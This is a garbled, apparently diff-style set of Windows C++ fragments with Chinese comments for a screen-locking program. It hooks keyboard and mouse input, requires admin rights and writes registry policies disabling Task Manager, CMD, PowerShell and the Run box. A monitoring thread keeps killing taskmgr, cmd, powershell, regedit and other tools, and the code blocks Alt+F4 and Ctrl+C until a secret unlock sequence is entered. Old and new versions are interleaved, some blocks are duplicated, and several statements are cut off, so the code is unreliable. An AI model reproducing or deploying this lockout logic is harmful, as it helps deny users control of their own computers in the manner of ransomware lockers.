// 恢复MountPoints2的设置 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "Disable"); RegDeleteValue(hKey, "DisableAutoRun"); RegCloseKey(hKey); } // 恢复运行和查找功能 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",
// 删除本地机器中的自动运行限制 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "NoRun"); RegDeleteValue(hKey, "NoFind"); RegDeleteValue(hKey, "NoDriveTypeAutoRun"); RegCloseKey(hKey); } // 移除AppCompatFlags限制 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "C:\\Windows\\System32\\cmd.exe"); RegDeleteValue(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"); RegCloseKey(hKey); }}
bool TerminateProcessByName(const std::string& processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return false; }
PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32);
bool found = false; if (Process32First(hSnapshot, &pe)) { do { if (_stricmp(pe.szExeFile, processName.c_str()) == 0) { // Found target process HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); found = true; } } } while (Process32Next(hSnapshot, &pe)); }
CloseHandle(hSnapshot); return found;}
// Check if taskmgr.exe is running and terminate itbool TerminateTaskManager() { return TerminateProcessByName("taskmgr.exe");}
void securityMonitorThread() { while (!shutdownFlag) { // Check and terminate Task Manager if running TerminateTaskManager();
// Check and terminate command prompts if running - 更全面的列表 const char* blockedProcesses[] = { "cmd.exe", "powershell.exe", "pwsh.exe", "conhost.exe", "wscript.exe", "cscript.exe", "bash.exe", // WSL "wsl.exe", // WSL "cmd.hta", // HTML Application NULL };
for (int i = 0; blockedProcesses[i] != NULL; i++) { TerminateProcessByName(blockedProcesses[i]); }
// Check if registry was modified HKEY hKey; if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { DWORD value = 0; DWORD size = sizeof(value); if (RegQueryValueEx(hKey, "DisableTaskMgr", NULL, NULL, (LPBYTE)&value, &size) != ERROR_SUCCESS || value != 1) { DisableSecurityOptions(); } RegCloseKey(hKey); }
// Additional protection: Block Alt key state to prevent Alt+F4 if (disableInput && (GetAsyncKeyState(VK_MENU) & 0x8000)) { // Simulate Alt key up to break Alt+F4 combination INPUT input[2] = {0}; input[0].type = INPUT_KEYBOARD; input[0].ki.wVk = VK_MENU; input[0].ki.dwFlags = KEYEVENTF_KEYUP; input[1].type = INPUT_KEYBOARD; input[1].ki.wVk = VK_F4; input[1].ki.dwFlags = KEYEVENTF_KEYUP; SendInput(2, input, sizeof(INPUT)); }
std::this_thread::sleep_for(std::chrono::milliseconds(500)); // 适中的监控频率 }}
int main() { // Set signal handler to ignore Ctrl+C signal(SIGINT, sigint_handler);
// Initialize unlock sequence and generate random target initializeSecretSequence();
// Install keyboard hook HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0); if (keyboardHook == NULL) { std::cerr << "Failed to install keyboard hook!" << std::endl; return 1; }
// Install mouse hook HHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, NULL, 0); if (mouseHook == NULL) { std::cerr << "Failed to install mouse hook!" << std::endl; return 1; }
// Disable security options DisableSecurityOptions();
// Start security monitoring thread std::thread monitorThread(securityMonitorThread);
// Set cleanup function on exit atexit([]() { EnableSecurityOptions(); shutdownFlag = true; });
// Message loop MSG msg; while (!shutdownFlag) { if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) { if (msg.message == WM_QUIT) break; TranslateMessage(&msg); DispatchMessage(&msg); } else std::this_thread::sleep_for(std::chrono::milliseconds(10)); }
// Cleanup UnhookWindowsHookEx(keyboardHook); UnhookWindowsHookEx(mouseHook); shutdownFlag = true; if (monitorThread.joinable()) monitorThread.join();
// Restore security options EnableSecurityOptions();
std::cout << "Input unlocked. Program exiting." << std::endl; return 0;}
// 阻止命令行程序通过注册表void BlockCommandPrompts() { HKEY hKey; DWORD value = 1; // 禁用命令提示符 (CMD) - 主要方法 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\System",
if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "DisableCMD", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); } // 禁用 PowerShell - 主要方法 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\PowerShell", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "Disable", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); } // 禁用运行对话框和查找功能 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegSetValueEx(hKey, "NoFind", 0, REG_DWORD, (const BYTE*)&value, sizeof(value)); RegCloseKey(hKey); } // 使用更安全的方法:创建AppCompatFlags阻止命令行程序运行 if (RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { // 阻止cmd.exe运行 RegSetValueEx(hKey, "C:\\Windows\\System32\\cmd.exe", 0, REG_SZ, (const BYTE*)"RUNASINVOKER", 12); // 阻止powershell.exe运行 RegSetValueEx(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", 0, REG_SZ, (const BYTE*)"RUNASINVOKER", 12); RegCloseKey(hKey); }}
// 修改 UnblockCommandPrompts 函数,移除环境变量相关的操作void UnblockCommandPrompts() { HKEY hKey; // 恢复命令提示符 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\System",
// 恢复运行功能 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "DisableCMD"); RegDeleteValue(hKey, "NoRun"); RegCloseKey(hKey); } // 恢复 PowerShell if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\PowerShell",
// 恢复命令行禁用设置 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\System", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "Disable"); RegDeleteValue(hKey, "DisableCMD"); RegCloseKey(hKey); } // 恢复运行和查找功能 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",
// 恢复 PowerShell 禁用设置 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Policies\\Microsoft\\Windows\\PowerShell", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "NoRun"); RegDeleteValue(hKey, "NoFind"); RegDeleteValue(hKey, "Disable"); RegCloseKey(hKey); } // 移除AppCompatFlags限制 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",
// 恢复 AppCompatFlags 设置 if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) { RegDeleteValue(hKey, "C:\\Windows\\System32\\cmd.exe"); RegDeleteValue(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"); RegCloseKey(hKey); }}
bool TerminateProcessByName(const std::string& processName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return false; } if (hSnapshot == INVALID_HANDLE_VALUE) return false;
PROCESSENTRY32 pe; pe.dwSize = sizeof(PROCESSENTRY32);
bool found = false; if (Process32First(hSnapshot, &pe)) { do { if (_stricmp(pe.szExeFile, processName.c_str()) == 0) { // Found target process HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID); if (hProcess != NULL) { TerminateProcess(hProcess, 0); CloseHandle(hProcess); found = true; // 获取当前进程ID和父进程ID DWORD currentProcessId = GetCurrentProcessId(); DWORD parentProcessId = 0;
// 使用简单的方法获取父进程ID HANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, currentProcessId); if (hCurrentProcess) { // 使用 Process32First/Next 来查找当前进程的父进程ID if (Process32First(hSnapshot, &pe)) { do { if (pe.th32ProcessID == currentProcessId) { parentProcessId = pe.th32ParentProcessID; break; } } } while (Process32Next(hSnapshot, &pe)); } while (Process32Next(hSnapshot, &pe)); } CloseHandle(hCurrentProcess); }
// 重新开始遍历进程 Process32First(hSnapshot, &pe);
bool found = false; do { if (_stricmp(pe.szExeFile, processName.c_str()) == 0) { // 跳过系统关键进程、当前进程和父进程 if (pe.th32ProcessID == currentProcessId || pe.th32ProcessID == parentProcessId || pe.th32ProcessID == 0 || pe.th32ProcessID == 4) { // System and Idle processes continue; }
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID); if (hProcess != NULL) { // 尝试优雅终止 if (TerminateProcess(hProcess, 0)) found = true; CloseHandle(hProcess); } } } while (Process32Next(hSnapshot, &pe));
CloseHandle(hSnapshot); return found;}
3 行未改动}
void securityMonitorThread() { while (!shutdownFlag) { if (!shutdownFlag) { // 只在未关闭时监控 // Check and terminate Task Manager if running TerminateTaskManager(); // Check and terminate Task Manager if running TerminateTaskManager();
// Check and terminate command prompts if running - 更全面的列表 const char* blockedProcesses[] = { "cmd.exe", "powershell.exe", "pwsh.exe", "conhost.exe", "wscript.exe", "cscript.exe", "bash.exe", // WSL "wsl.exe", // WSL "cmd.hta", // HTML Application NULL }; // Check and terminate command prompts if running const char* blockedProcesses[] = { "cmd.exe", "powershell.exe", "pwsh.exe", "conhost.exe", "wscript.exe", "cscript.exe", "bash.exe", // WSL "wsl.exe", // WSL "regedit.exe", "msconfig.exe", "mmc.exe", NULL };
for (int i = 0; blockedProcesses[i] != NULL; i++) { TerminateProcessByName(blockedProcesses[i]); for (int i = 0;blockedProcesses[i] != NULL && !shutdownFlag;i++) TerminateProcessByName(blockedProcesses[i]); }
// Check if registry was modified HKEY hKey; if (RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { DWORD value = 0; DWORD size = sizeof(value); if (RegQueryValueEx(hKey, "DisableTaskMgr", NULL, NULL, (LPBYTE)&value, &size) != ERROR_SUCCESS || value != 1) { DisableSecurityOptions(); } RegCloseKey(hKey); } std::this_thread::sleep_for(std::chrono::milliseconds(500)); }}
// Additional protection: Block Alt key state to prevent Alt+F4 if (disableInput && (GetAsyncKeyState(VK_MENU) & 0x8000)) { // Simulate Alt key up to break Alt+F4 combination INPUT input[2] = {0}; input[0].type = INPUT_KEYBOARD; input[0].ki.wVk = VK_MENU; input[0].ki.dwFlags = KEYEVENTF_KEYUP; input[1].type = INPUT_KEYBOARD; input[1].ki.wVk = VK_F4; input[1].ki.dwFlags = KEYEVENTF_KEYUP; SendInput(2, input, sizeof(INPUT)); }bool IsRunningAsAdmin() { BOOL isAdmin = FALSE; PSID adminGroup = NULL;
std::this_thread::sleep_for(std::chrono::milliseconds(500)); // 适中的监控频率 SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) { if (!CheckTokenMembership(NULL, adminGroup, &isAdmin)) isAdmin = FALSE; FreeSid(adminGroup); } return isAdmin;}
int main() { if (!IsRunningAsAdmin()) { MessageBox(NULL, "Please run this program as administrator", "Permission Error", MB_ICONERROR | MB_OK); return 1; }
// Set signal handler to ignore Ctrl+C signal(SIGINT, sigint_handler);
// Initialize unlock sequence and generate random target initializeSecretSequence();
// Install keyboard hook // Install hooks HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0); if (keyboardHook == NULL) { std::cerr << "Failed to install keyboard hook!" << std::endl; return 1; }
// Install mouse hook HHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, NULL, 0);
if (mouseHook == NULL) { std::cerr << "Failed to install mouse hook!" << std::endl; if (keyboardHook == NULL || mouseHook == NULL) { std::cerr << "Failed to install hooks!" << std::endl; return 1; }
// Disable security options DisableSecurityOptions();
// Start security monitoring thread std::thread monitorThread(securityMonitorThread);
// Set cleanup function on exit atexit([]() { EnableSecurityOptions(); shutdownFlag = true; });
// Message loop MSG msg; while (!shutdownFlag) { if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {3 行未改动 } else std::this_thread::sleep_for(std::chrono::milliseconds(10)); }
// Cleanup UnhookWindowsHookEx(keyboardHook); UnhookWindowsHookEx(mouseHook); // Cleanup - 确保正确的顺序 shutdownFlag = true;
// 等待监控线程退出 if (monitorThread.joinable()) monitorThread.join();
// Restore security options // 恢复系统设置 EnableSecurityOptions();
std::cout << "Input unlocked. Program exiting." << std::endl; // 卸载钩子 UnhookWindowsHookEx(keyboardHook); UnhookWindowsHookEx(mouseHook);
// 确保系统有足够时间恢复 std::this_thread::sleep_for(std::chrono::seconds(1)); return 0;}```